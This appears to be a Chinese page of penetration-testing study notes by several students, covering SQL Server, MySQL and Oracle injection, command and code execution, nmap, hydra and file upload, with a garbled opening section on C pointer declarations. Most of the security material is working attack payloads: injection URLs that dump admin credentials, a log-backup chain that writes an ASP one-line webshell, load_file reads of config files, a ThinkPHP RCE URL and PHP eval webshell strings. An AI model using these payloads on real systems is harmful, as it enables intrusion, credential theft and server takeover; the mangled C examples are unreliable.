金博豪
c语言指针的详解
- int p; //这是一个普通的整型变量
- int p; //首先从P 处开始,先与*结合,所以说明P 是一个指针,然后再与int 结合,说明指针所指向的内容的类型为int 型.所以P是一个返回整型数据的指针
- int p[3]; //首先从P 处开始,先与[]结合,说明P 是一个数组,然后与int 结合,说明数组里的元素是整型的,所以P 是一个由整型数据组成的数组
- int p[3]; //首先从P 处开始,先与[]结合,因为其优先级比高,所以P 是一个数组,然后再与结合,说明数组里的元素是指针类型,然后再与int 结合,说明指针所指向的内容的类型是整型的,所以P 是一个由返回整型数据的指针所组成的数组
- int (p)[3]; //首先从P 处开始,先与*结合,说明P 是一个指针然后再与[]结合(与”()”这步可以忽略,只是为了改变优先级),说明指针所指向的内容是一个数组,然后再与int 结合,说明数组里的元素是整型的.所以P 是一个指向由整型数据组成的数组的指针
- int p; //首先从P 开始,先与结合,说是P 是一个指针,然后再与*结合,说明指针所指向的元素是指针,然后再与int 结合,说明该指针所指向的元素是整型数据.由于二级指针以及更高级的指针极少用在复杂的类型中,所以后面更复杂的类型我们就不考虑多级指针了,最多只考虑一级指针.
- int p(int); //从P 处起,先与()结合,说明P 是一个函数,然后进入()里分析,说明该函数有一个整型变量的参数,然后再与外面的int 结合,说明函数的返回值是一个整型数据
- Int (*p)(int); //从P 处开始,先与指针结合,说明P 是一个指针,然后与()结合,说明指针指向的是一个函数,然后再与()里的int 结合,说明函数有一个int 型的参数,再与最外层的int 结合,说明函数的返回类型是整型,所以P 是一个指向有一个整型参数且返回类型为整型的函数的指针
- int ( p(int))[3]; //可以先跳过,不看这个类型,过于复杂从P 开始,先与()结合,说明P 是一个函数,然后进入()里面,与int 结合,说明函数有一个整型变量参数,然后再与外面的结合,说明函数返回的是一个指针,,然后到最外面一层,先与[]结合,说明返回的指针指向的是一个数组,然后再与结合,说明数组里的元素是指针,然后再与int 结合,说明指针指向的内容是整型数据.所以P 是一个参数为一个整数据且返回一个指向由整型指针变量组成的数组的指针变量的函数.
sqlserver联合注入
1、简介
sqlserver经常与asp或者aspx一起使用,操作系统多数是win2012 win2018
数据库版本 sql2008 sql2012
http://www.demo1.com/index.aspx?id=1
2、注释符号
—空格 单行注释
/ / 多行注释
3、判断是否注入
‘ 单引号是否报错
and 1=2
and 1=1
页面是否相同
4、判断列数
order by
http://www.demo1.com/index.aspx?id=1 order by 3
5、联合查询
联合查询 需要每个列的类型要一直 或者可以使用null 直到页面出错。
http://www.demo1.com/index.aspx?id=-1 union select 1,’2’,’3’
http://www.demo1.com/index.aspx?id=-1 union select null,null,null
6、查询系统信息
db_name() 数据库名
@@version 版本信息
User_Name() 当前用户
host_name() 计算机名称
7、查询数据
http://www.demo1.com/index.aspx?id=-1 union select null,username,password from admin
报错注入
爆出数据库
http://www.demo1.com/index.aspx?id=-1 and db_name()>0
当前用户 dbo
http://www.demo1.com/index.aspx?id=-1 and User_Name()>0
爆出其他数据库
http://www.demo1.com/index.aspx?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases)>0
http://www.demo1.com/index.aspx?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (‘master’))>0
http://www.demo1.com/index.aspx?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (‘master’,’iNethinkCMS’,’model’,’msdb’))>0
爆表
http://www.demo1.com/index.aspx?id=-1 and (select top 1 name from [mydb].sys.all_objects where type=’U’ AND is_ms_shipped=0)>0
http://www.demo1.com/index.aspx?id=-1 and (select top 1 name from mydb.sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘admin’))>0
爆出列
http://www.demo1.com/index.aspx?id=1 and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME=’admin’ and COLUMN_NAME not in(‘ID’))>0
http://www.demo1.com/index.aspx?id=1 and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME=’admin’ and COLUMN_NAME not in(‘ID’,’username’))>0
爆出数据
http://www.demo1.com/index.aspx?id=1 and (select top 1 password from admin)>0
http://www.demo1.com/index.aspx?id=1 and (select top 1 username from admin)>0
备份拿webshell
<%execute(request(“a”))%>
差异备份 经常会出错的 不稳定
log备份一句话
;IF EXISTS(select table_name from information_schema.tables where table_name=’test_tmp’)drop table test_tmp;alter database mydb set RECOVERY FULL;
; drop table test_tmp;create table test_tmp (a image);backup log mydb to disk =’C:/inetpub/wwwroot/www.demo1.com/asp.bak’ with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = ‘C:/inetpub/wwwroot/www.demo1.com/123.asp’
;drop table test_tmp
;create table test_tmp (a image);
;backup log mydb to disk =’C:/inetpub/wwwroot/www.demo1.com/asp.bak’ with init;
;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA)
;backup log mydb to disk = ‘C:/inetpub/wwwroot/www.demo1.com/123.asp’
;drop table test_tmp
http://www.demo1.com/index.aspx?id=1;IF EXISTS(select table_name from information_schema.tables where table_name=’test_tmp’)drop table test_tmp;create table test_tmp (a image);backup log mydb to disk =’C:/inetpub/wwwroot/www.demo1.com/asp.bak’ with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = ‘C:/inetpub/wwwroot/www.demo1.com/123.asp’
select * from art where id=1;IF EXISTS(select table_name from information_schema.tables where table_name=’test_tmp’)drop table test_tmp;create table test_tmp (a image);backup log mydb to disk =’C:/inetpub/wwwroot/www.demo1.com/asp.bak’ with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = ‘C:/inetpub/wwwroot/www.demo1.com/123.asp’
许俊一
SQL注入
SQL注入类型的区分详解
首先按照常用接收方式的不同可以分为以下三种
GET
GET请求的参数是放在URL里的,GET请求的URL传参有长度限制 中文需要URL编码
URL最长的长度 https://www.cnblogs.com/cuihongyu3503319/p/5892257.html
POST
POST请求参数是放在请求body里的,长度没有限制
COOKIE
cookie参数放在请求头信息,提交的时候 服务器会从请求头获取参数。
<?php print_r($_GET); print "<hr>"; print_r($_POST); print "<hr>"; print_r($_COOKIE); ?>
注入数据类型的区分
int 整型 以上 除了第一种以外 其余在判断注入或查询语句的时候都要进行闭合,不闭合 SQL语句不仅会出错,可能与原意不一样,会造成错误的判断。 字符型 注入闭合 select * from news where title like ‘%s%’ and ‘1%’ = ‘1%’ 联合查询注入 union select 联合两个表 报错注入 数据库报错信息 进行注入 盲注入 # —空格 用于注释后后面语句 不再执行 例如 select * from artile where id=1#这个部分的语句不再执行 version() MySQL 版本 user() 数据库用户名 database() 数据库名 数据库路径 操作系统版本 页面是否返回正常,或是否存在报错信息 and 1=1 正常 and 1=2 错误 && 1=1 转码 %26%261=1 正常 && 1=2 转码 %26%261=2 错误 http://target_sys.com/article.php?id=-1 or 1=2 http://target_sys.com/article.php?id=1 or 1=2 or 1=1 or 102 -1||1=2 转码-1 %7c%7c1=2 正常 -1||1=2 转码-1%7c%7c1=2 错误 &&与||这种特殊的符号 一定要在浏览器url前进行转码之后方可提交 因为浏览器默认不会进行编码 与其他数据库一样 order by 进行排列获取字段数 http://target_sys.com/article.php?id=1 order by 3 order by 3 页面正常 order by 4 页面返回空白 或者文章没有显示出来,列数为3个 mysql与access数据库不一样。在没有表名的前提下也可以查询数据库一些信息,如安装路径、库名、操作系统信息 system_user() 系统用户名 user() 用户名 current_user 当前用户名 session_user()连接数据库的用户名 database() 数据库名 version() MYSQL数据库版本 load_file() MYSQL读取本地文件的函数 @@datadir 读取数据库路径 @@basedir MYSQL 安装路径 @@version_compile_os 操作系统 union select 查询两个表的内容 http://target_sys.com/article.php?id=-1 union select 1,2,3 http://target_sys.com/article.php?id=1 and 1=2 union select 1,2,3 以上两个语句的意思都是相同的 前面获取数据为null 将会显示后面的数字 把数字替换成你要查询的函数名 database() 当前数据库名 mysql 里面有一个库information_schema 里面存在很多信息,其中包括所有的库名, 表名, 字段名。因为可以利用这个库来获取当前库的表 语句如下 http://target_sys.com/article.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 target_sys http://target_sys.com/article.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x7461726765745f737973 limit 0,1 这个database()函数与 target_sys 相同,如果不使用database()函数就要把target_sys 转换 十六进制 0x7461726765745f737973 limit 0,1 就是获取第一个表名 获取第二个表名 就要把0 改变成 1 第三个 2 第四 3 如此类推 直接 返回 空 admin article moon_range 查询字段也是查询 information_schema库 里的信息。 admin表 转换 成十六进制 0x61646d696e http://target_sys.com/article.php?id=-1 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1 id username password http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from admin group_concat() 用于 打印并接 字符串 输出两个字段的内容 0x3a是 字符 :最终的结果是 admin:e10adc3949ba59abbe56e057f20f883e http://target_sys.com/article.php?id=-1unionselect1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA http://target_sys.com/article.php?id=-1unionselect1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() http://target_sys.com/article.php?id=-1unionselect1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() http://target_sys.com/article.php?id=-1unionselect1,2,group_concat(username,0x3a,password) from admin 这种方面不是通用的,有时候 查询不全 这个原因是字段的大小问题。解决办法 换一个字段查询,或者 用函数查询长度再用字符串函数截取。 http://target_sys.com/mysqlinj.php?id=-1 and (extractvalue(1,concat(0x7e,(select load_file(‘C:\inetpub\wwwroot\target_sys.com\data\config.inc.php’)),0x7e))) 有长度限制 http://target_sys.com/mysqlinj.php?id=1 and (exp(~(select*from(select load_file(‘C:\inetpub\wwwroot\target_sys.com\data\config.inc.php’))a))); 通常情况使用exp方法,没有长度限制 延时注入 属于盲注入的一种,适用的场景较多,基本上任何注入都可以使用这种注入方式进行测试 http://www.jsporcle.com/news.jsp?id=-1or1=dbms_pipe.receive_message('RDS‘, 10)— http://www.jsporcle.com/news.jsp?id=1and1=dbms_pipe.receive_message('RDS‘, 10)— 如果页面延时10秒返回,即存在注入。 两种布尔型盲注入方式,一种是decode盲注入,另外一种是逐字猜解法盲注入 这里可以使用decode盲注入 and 1=(select decode(substr(user,1,1),’S’,1,0) from dual) — 在decode注入里加入延时语句。 and1=(selectdecode(substr(user,1,1),’S’,dbms_pipe.receive_message(‘RDS’,10),0) from dual) — 首先判断长度 (selectdecode(length(user),6,dbms_pipe.receive_message(‘RDS’, 10) ,0) from dual); 网站测试语句 http://www.jsporcle.com/news.jsp?id=1 and1=(selectdecode(length(user),6,dbms_pipe.receive_message(‘RDS’,10),0) from dual)— 查询第一个字符 (selectdecode(substr(user,1,1),’S’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) — (selectdecode(substr(user,2,1),’Y’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) — (selectdecode(substr(user,3,1),’Y’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) — (selectdecode(substr(user,4,1),’T’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) — (selectdecode(substr(user,5,1),’E’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) — (selectdecode(substr(user,6,1),’N’,dbms_pipe.receive_message(‘RDS’, 10),0) from dual) — 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等, 当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。 脚本语言优点是简洁,方便,但也伴随着一些问题,如速度慢,无法解除系统底层,如果我们开发的应用需要一些除去web的特殊功能时,就需要调用一些外部程序。带来方便的同时也存在威胁。 继承Web服务程序的权限去执行系统命令或读写文件 命令执行漏洞:相当于在cmd下敲命令,有一点像SSRF的利用方式 实战 TP5.1的命令执行漏洞 在url添加上poc 应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。 代码执行相关函数: Javascript: eval Vbscript:Execute、Eval Python: exec 代码执行漏洞的利用: 1、一句话木马 ${@eval($_POST[1])} 2、获取当前工作路径 ${exit(print(getcwd()))} 使用菜刀 3、读文件 ${exit(var_dump(file_get_contents($_POST[f])))} f=/etc/passwd 使用post提交数值 f=/etc/passwd 4、写webshell ${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))} f=1.php&d=1111111 同样使用post 代码执行漏洞修复方案: 对于eval()函数一定要保证用户不能轻易接触eval参数或者用正则严格判断输入的数据格式。 对于字符串一定要使用单引号包裹可控代码,并且插入前进行addslashes 对于preg_replace放弃使用e修饰符.如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹。 localhost 127.0.0.1 其他人访问网址需要知道ip地址 查询ip地址需要打开cmd :ipconfig 域名:www.baidu.com 火狐游览器:http header live 捕获http URL编码 Base64编码 HTML实体化编码 MD5加密是广泛使用的一种散列函数 无法逆解,计算容易,长度固定,破解困难。 1.Cd 进入某一路径 3.More 查看文件内容 4.Type 查看文件内容 intitle: 标题包含 intext: 内容包含 inurl: 在某一网址下的特定内容 site: -sT TCP connect0扫描,这种方式会在目标主机的日志中记录大批的链接请求以及错误信息。 namp -sP www.baidu.com/24 -oN ip.txt nmap -p 80 198.169.1.2 渗透测试就是信息收集的过程 要知道 IP 端口(1-65535) 域名 (baidu.com 一级域名 www.baidu.com 二级域名 XXX.www.baidu.com 三级域名) 关于网站的语言: 子域名搜索——-旁站 网站目录 网站中附件 kali linux : nmap -Pn -sV www.cjlusec.com 不区分大小写 当使用powershell : cat Aa.txt 能打开aa.txt 区分大小写 当在linux中: cat aA.txt 无法查看aa.txt的内容 (通过能否区分大小写打开文件来判断操作系统) http 80 -R 继续从上一次进度接着破解。 -S 采用SSL链接。 -s PORT 可通过这个参数指定非默认端口。 -l LOGIN 指定破解的用户,对特定用户破解。 -L FILE 指定用户名字典。 -p PASS 小写,指定密码破解,少用,一般是采用密码字典。 -P FILE 大写,指定密码字典。 -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 -M FILE 指定目标列表文件一行一条。 -o FILE 指定结果输出文件。 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 -t TASKS 同时运行的线程数,默认为16。 -w TIME 设置最大超时的时间,单位秒,默认是30s。 -v / -V 显示详细过程。 支持的服务和协议:telnetftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-formhttp-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listenerpostgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 sshsmtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。 客户端: 选择发送的文件->服务器接收->网站程序判断->临时文件->移动到指定的路径 服务器: 接收的资源程序 p
select from user where id=1
sting 字符型
from user where username=’admin’
like 搜索型
select from user where username=’admin’ and ‘x’=’x’
‘ and ‘x’=’x 这个部分就是闭合的部分
like 模糊型注入闭合
from news where title like ‘%标题%’
select * from news where title like ‘%标题%’ and ‘1%’ = ‘1%’
注入方法区分
mysql+php 手工注入篇
mysqlde 注释符号
/*里面的内容都会被注释*/
注入常用查询系统信息函数
判断是否存在注入
判断列数
联合查询 union select
查询库名
查询表名
查询字段
查询数据
mysql+php 手工注入篇 爆库 爆表 爆字段
查询所有的库
查询库里所有的表
查询表里所有的字段
查询数据
查询失败的原因
报错注入读取文件
extractvalue 读取文件
exp方法读取
oracle 延时注入
判断注入
延时注入
查询数据
姚佳远
命令执行定义
形成原因
漏洞危害
反弹shell
控制整个网站甚至控制服务器
代码执行与命令执行的区别
command``1``&command``2` `两个命令同时执行``command``1``&&command``2` `只有前面命令执行成功,后面命令才继续执行``command``1``;command``2` `不管前面命令执行成功没有,后面的命令继续执行``command``1``||command``2` `顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
命令执行常用函数
1``. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,``函数原型如下:string system(string command, int&return_var)``其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。`` ``2``. Exec:exec函数可以用来执行一个外部的应用程序``string exec (string command, array&output, int &return_var)``其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,``return_var存放执行命令后的状态值。`` ``3``.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,``当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,``需要使用passthru函数来替代system与exec函数。``Passthru函数原型如下:void passthru (string command, int&return_var)``其中,command是要执行的命令,return_var存放执行命令后的状态值。`` ``4``. Shell_exec:执行shell命令并返回输出的字符串,``函数原型如下:string shell_exec (string command)``其中,command是要执行的命令。
/index.php?s=index/\think\Container/invokeFunction&``function=call_user_func_array&vars[]=system&vars[``1``][]=dir 最后加命令
修复方案
1``.尽量少用执行命令的函数或者直接禁用``2``.参数值尽量使用引号包括``3``.在使用动态函数之前,确保使用的函数是指定的函数之一``4``.在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义``5``.能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用``6``.对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤``7``.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义``而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。
代码执行漏洞
郑佳榆
网址:http://www.baidu.com:80/1.php?捕获http协议
编码方式
加密
dos命令
查看命令
操作命令
搜索引擎高级语法
www.baidu.com 查看该网址的站点信息Nmap
-sP ping扫描,加上这个参数会使用ping扫描,只有主机存活, nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping,却实际存在。
-sS 半开扫描,一般不会记入日志,不过需要root权限。
-sU udp扫描,但是一般不可靠-SA 用来穿过防火墙的规则集,速度慢。
sV 端口服务及版本
-A 包含了-sV,-O,全面系统检测,启动脚本检测,扫描等。
PO 扫描之前不使用ping,适用于防火墙禁上ping,比较有用。
-v 显示扫描进程
-0 探测目标系统的漏洞,容易误报
-ON/-oX/-0G 将报告写入文件,格式分别为正常(自定义.txt) ,XML,grepable.
-iL 扫描主机列表
扫描C段:
扫描指定端口:
渗透测试
信息搜集
查询开放端口
操作系统
windows
Linux
小结论
项枫
穷举
常见的端口服务
https 443
ftp 21
ssh 22
mysql 3306
mssql 1433
rsync 873
oracle 1521
mongo 28017
redis 6379
tomcat 8080
smtp 25
POP3 110
dns 53
telent 23
vnc 5900
pcanywhere 5632
Apache/Tomcat/Nginx/Axis2/resin/jboss 80|8080
WebLogic 7001
Jenkins 8080 8089
SNMP 161
Zabbix 8069
elasticsearch 9200 9300
hydra
service 指定服务名
xhydra工具
文件上传漏洞
文件上传过程
<?php
if\ ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo"Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
}
?>
发表评论